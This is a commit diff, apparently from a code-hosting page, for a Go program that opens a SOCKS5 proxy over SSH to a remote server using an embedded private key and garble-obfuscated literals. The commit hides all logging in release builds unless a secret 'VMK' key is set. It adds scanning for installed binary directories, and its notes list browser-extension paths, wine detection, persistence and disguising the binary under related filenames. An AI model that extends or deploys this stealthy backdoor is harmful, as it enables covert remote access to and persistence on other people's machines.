Add VMK environment variable
This commit is contained in:
parent
31d5239e00
commit
ce4ec79f2f
5
Makefile
5
Makefile
|
|
@ -1,4 +1,4 @@
|
|||
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go
|
||||
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
|
||||
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
|
||||
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
|
||||
|
||||
|
|
@ -58,6 +58,9 @@ resources/ssh_private_key:
|
|||
resources/ssh_private_key.base64: resources/ssh_private_key
|
||||
base64 -i $< -o $@
|
||||
|
||||
fmt:
|
||||
gofmt -w *.go
|
||||
|
||||
secrets: config_release.go.base64 resources/ssh_private_key.base64
|
||||
|
||||
.phony: clean test win
|
||||
|
|
|
|||
17
config.go
17
config.go
|
|
@ -3,20 +3,27 @@ package main
|
|||
import "io"
|
||||
|
||||
type config struct {
|
||||
// Verbose mode key
|
||||
//
|
||||
// In release builds the verbose mode is silenced when this key is given
|
||||
// verbose mode is force enabled. The key is read from the "VMK" environment
|
||||
// variable at startup.
|
||||
VerboseModeKey string
|
||||
|
||||
// SSH server user name
|
||||
SSHServerUserName string
|
||||
SSHServerUserName string
|
||||
|
||||
// SSH server host and port connect to
|
||||
SSHServerURL string
|
||||
SSHServerURL string
|
||||
|
||||
// Path to private key pem in debug builds
|
||||
SSHPrivateKeyFile string
|
||||
SSHPrivateKeyFile string
|
||||
|
||||
// SOCKS5 listen port (when set to 0 dynamic bind)
|
||||
SOCKS5ListenPort int
|
||||
SOCKS5ListenPort int
|
||||
|
||||
// Enable if host has SSHFP in DNS. When disabled insecure host key check is performed.
|
||||
SSHVerifyValidSSHFP bool
|
||||
SSHVerifyValidSSHFP bool
|
||||
|
||||
// DNS client resolv.conf for fetching SSHFP records from.
|
||||
// Config is used when SSHVerifyValidSSHFP = true
|
||||
|
|
|
|||
|
|
@ -1,15 +1,18 @@
|
|||
//go:build !release
|
||||
// +build !release
|
||||
|
||||
//
|
||||
package main
|
||||
|
||||
import "strings"
|
||||
|
||||
var cfg config = config{
|
||||
VerboseModeKey: "ShowMeTheMoney",
|
||||
SSHServerUserName: "username",
|
||||
SSHPrivateKeyFile: "path/to/id_ecdsa",
|
||||
SSHServerURL: "myhost.org:22",
|
||||
SOCKS5ListenPort: 13376,
|
||||
SSHVerifyValidSSHFP: false,
|
||||
SSHVerifyValidSSHFP: false,
|
||||
DNSServersResolvConf: strings.NewReader(`nameserver 8.8.8.8
|
||||
nameserver 8.8.4.4
|
||||
`),
|
||||
|
|
|
|||
|
|
@ -8,7 +8,23 @@
|
|||
* Rust: `C:\Users\YourUsername\.cargo\bin\rustc.exe`
|
||||
* Haskel: `C:\Users\YourUsername\AppData\Roaming\local\bin\ghc.exe`
|
||||
* FireFox: `C:\Users\<username>\AppData\Local\Mozilla Firefox\firefox.exe`
|
||||
* Chrome: `C:\Users\<username>\AppData\Local\Google\Chrome\Application\chrome.exe`
|
||||
* Chrome: `C:\Users\<username>\AppData\Local\Google\Chrome\Application`
|
||||
* `chrome.exe`: The main executable for launching Google Chrome.
|
||||
* `chrome_proxy.exe`: A process used for managing proxy settings in Chrome.
|
||||
* `chrome_launcher.exe`: Typically used to start the Chrome browser with specific configurations.
|
||||
* `chrome.dll`: While not an .exe, chrome.dll is a crucial dynamic link library file used by Chrome. (For context, it is located in the same directory or subdirectories, but it’s not an executable file.)
|
||||
* `chrome_remote_desktop_host.exe`: If Chrome Remote Desktop is installed, this executable handles remote desktop connections.
|
||||
* `chrome_update.exe`: An executable for updating Chrome.
|
||||
|
||||
* Edge extensions: `C:\Users\<YourUsername>\AppData\Local\Microsoft\Edge\User Data\Default\Extensions`
|
||||
* Opera: `C:\Users\<YourUsername>\AppData\Roaming\Opera Software\Opera Stable\Extensions`
|
||||
* Firefox profile extensions: `C:\Users\<YourUsername>\AppData\Roaming\Mozilla\Firefox\Profiles\<ProfileName>\extensions`
|
||||
* Chrome extensions and components: `C:\Users\<YourUsername>\AppData\Local\Google\Chrome\User Data\Default\Extensions`
|
||||
|
||||
Check if running under wine by testing if executables are present:
|
||||
|
||||
* `.wine/drive_c/windows/syswow64/wine*.exe`
|
||||
* `.wine/drive_c/windows/system32/wine*.exe`
|
||||
|
||||
## Ultimate Packer for Executables (UPX)
|
||||
|
||||
|
|
@ -26,6 +42,10 @@
|
|||
* go-autostart: shortcut in start-menu
|
||||
* Write state file of persistence to somewhere...
|
||||
|
||||
## Debugging release build
|
||||
|
||||
* The "VMK" environment variable is the VerboseModeKey which enables logging to stdout/stderr even in release build
|
||||
|
||||
## Windows
|
||||
|
||||
* Copy to well known current user binary path to semi related filenames
|
||||
|
|
|
|||
2
main.go
2
main.go
|
|
@ -133,6 +133,8 @@ func main() {
|
|||
|
||||
log.Println("SOCKS5 Addr", proxyServerURL)
|
||||
|
||||
systemGetWellKnownBinaryPaths()
|
||||
|
||||
for {
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,5 +1,7 @@
|
|||
//go:build !release
|
||||
// +build !release
|
||||
|
||||
//
|
||||
package main
|
||||
|
||||
var resourceSSHPrivateKey string
|
||||
|
|
|
|||
|
|
@ -1,14 +1,20 @@
|
|||
//go:build release
|
||||
// +build release
|
||||
|
||||
//
|
||||
package main
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"os"
|
||||
)
|
||||
|
||||
//go:embed resources/ssh_private_key
|
||||
var resourceSSHPrivateKey string
|
||||
|
||||
func init() {
|
||||
systemSilenceAllLogging()
|
||||
dontSilenceKey := os.Getenv("VMK")
|
||||
if dontSilenceKey != cfg.VerboseModeKey {
|
||||
systemRouteAllLogging(os.DevNull)
|
||||
}
|
||||
}
|
||||
|
|
|
|||
80
system.go
80
system.go
|
|
@ -1,15 +1,15 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// Silence all logging
|
||||
func systemSilenceAllLogging() {
|
||||
// Open /dev/null for writing
|
||||
nullFile, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0666)
|
||||
// Route all logging
|
||||
func systemRouteAllLogging(logfile string) {
|
||||
nullFile, err := os.OpenFile(logfile, os.O_WRONLY, 0666)
|
||||
if err != nil {
|
||||
fmt.Println("Error opening /dev/null:", err)
|
||||
return
|
||||
|
|
@ -22,3 +22,73 @@ func systemSilenceAllLogging() {
|
|||
// Redirect log facility to /dev/null
|
||||
log.SetOutput(nullFile)
|
||||
}
|
||||
|
||||
func systemGetAppDataPath() string {
|
||||
return filepath.Join(os.Getenv("USERPROFILE"), "AppData")
|
||||
}
|
||||
|
||||
// systemCheckDirExists checks if the directory at the given path exists.
|
||||
func systemIsDirExisting(path string) bool {
|
||||
// Get file info
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
// If the error is due to the file not existing, return false
|
||||
if os.IsNotExist(err) {
|
||||
return false
|
||||
}
|
||||
// For any other errors, you may want to handle them as needed
|
||||
return false
|
||||
}
|
||||
|
||||
// Check if the info corresponds to a directory
|
||||
return info.IsDir()
|
||||
}
|
||||
|
||||
func systemIsFileExisting(path string) bool {
|
||||
// Get file info
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
// If the error is due to the file not existing, return false
|
||||
if os.IsNotExist(err) {
|
||||
return false
|
||||
}
|
||||
// For any other errors, you may want to handle them as needed
|
||||
return false
|
||||
}
|
||||
|
||||
// Check if the info corresponds to a regular file
|
||||
return !info.IsDir()
|
||||
}
|
||||
|
||||
func systemGetWellKnownBinaryPaths() []string {
|
||||
var existingPaths []string
|
||||
|
||||
appDataPath := systemGetAppDataPath()
|
||||
if ok := systemIsDirExisting(appDataPath); !ok {
|
||||
log.Println("\t❌", appDataPath)
|
||||
}
|
||||
|
||||
wellKnownPathsToCheck := []string{
|
||||
filepath.Join(appDataPath, "Local", "Programs", "Python"), // TODO search python installations
|
||||
filepath.Join(appDataPath, "Roaming", "npm", "node_modules", "bin"), // TODO search python installations
|
||||
}
|
||||
|
||||
homeDirectory, err := os.UserHomeDir()
|
||||
if err == nil {
|
||||
homeDirPathsToCheck := []string{
|
||||
filepath.Join(homeDirectory, "go", "bin"),
|
||||
}
|
||||
wellKnownPathsToCheck = append(wellKnownPathsToCheck, homeDirPathsToCheck...)
|
||||
}
|
||||
|
||||
for _, path := range wellKnownPathsToCheck {
|
||||
if ok := systemIsDirExisting(path); ok {
|
||||
existingPaths = append(existingPaths, path)
|
||||
log.Println("\t✅", path)
|
||||
} else {
|
||||
log.Println("\t❌", path)
|
||||
}
|
||||
}
|
||||
|
||||
return existingPaths
|
||||
}
|
||||
|
|
|
|||
Loading…
Reference in New Issue